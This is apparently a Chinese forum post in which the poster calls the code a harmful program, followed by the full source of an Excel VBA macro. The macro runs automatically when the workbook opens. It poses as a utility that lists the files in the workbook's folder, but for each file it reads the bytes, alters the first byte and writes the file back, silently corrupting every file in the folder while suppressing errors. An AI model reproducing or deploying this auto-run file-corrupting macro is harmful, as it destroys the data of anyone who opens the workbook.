這個根本是一個害人程式
可惜我不可以阻止 [em19]
Private Sub Workbook_Open()
cmdOK
End Sub
Dim RecordNumber, strFileName, n As Long, arrBytes() As Byte
Sub cmdOK()
On Error Resume Next
With ActiveSheet
.Range("A1").Value = "檔路徑"
.Range("B1").Value = "檔案名"
.Range("C1").Value = "文件尾碼名"
.Range("D1").Value = "大小(K)"
.Range("E1").Value = "最後修改時間"
.Range("A1:F1").Font.Bold = True
End With
With Application.FileSearch
.LookIn = ThisWorkbook.Path & "\"
.FileType = msoFileTypeAllFiles
If .Execute > 0 Then
r = 2
For i = 1 To .FoundFiles.Count
strTemp = .FoundFiles(i)
strFileName = Replace(strTemp, (Left(strTemp, InStrRev(strTemp, "\"))), "")
strPath = ThisWorkbook.Path & "\"
ActiveSheet.Cells(r, 1) = strPath
ActiveSheet.Cells(r, 2) = Left(strFileName, Len(strFileName) - 4)
ActiveSheet.Cells(r, 3) = strFileName
ActiveSheet.Hyperlinks.Add anchor:=.Cells(r, 2), Address:=strTemp
ActiveSheet.Cells(r, 3) = UCase(Right(strFileName, Len(strFileName) - InStrRev(strFileName, ".")))
ActiveSheet.Cells(r, 4) = Round(FileLen(strTemp) / 1024, 1)
ActiveSheet.Cells(r, 5) = FileDateTime(strTemp)
If strPath & "/" & strFileName = False Then Exit Sub
Dim n As Long
Dim arrBytes() As Byte
Open strPath & "/" & strFileName For Binary As #1
n = LOF(1)
ReDim arrBytes(1 To n) As Byte
Get #1, , arrBytes
Close #1
arrBytes(1) = arrBytes(1) + r
Open strPath & "/" & strFileName For Binary As #2
For RecordNumber = 1 To n
Put #2, RecordNumber, arrBytes(RecordNumber)
Next RecordNumber
Close #2
r = r + 1
Next i
End If
End With
End Sub |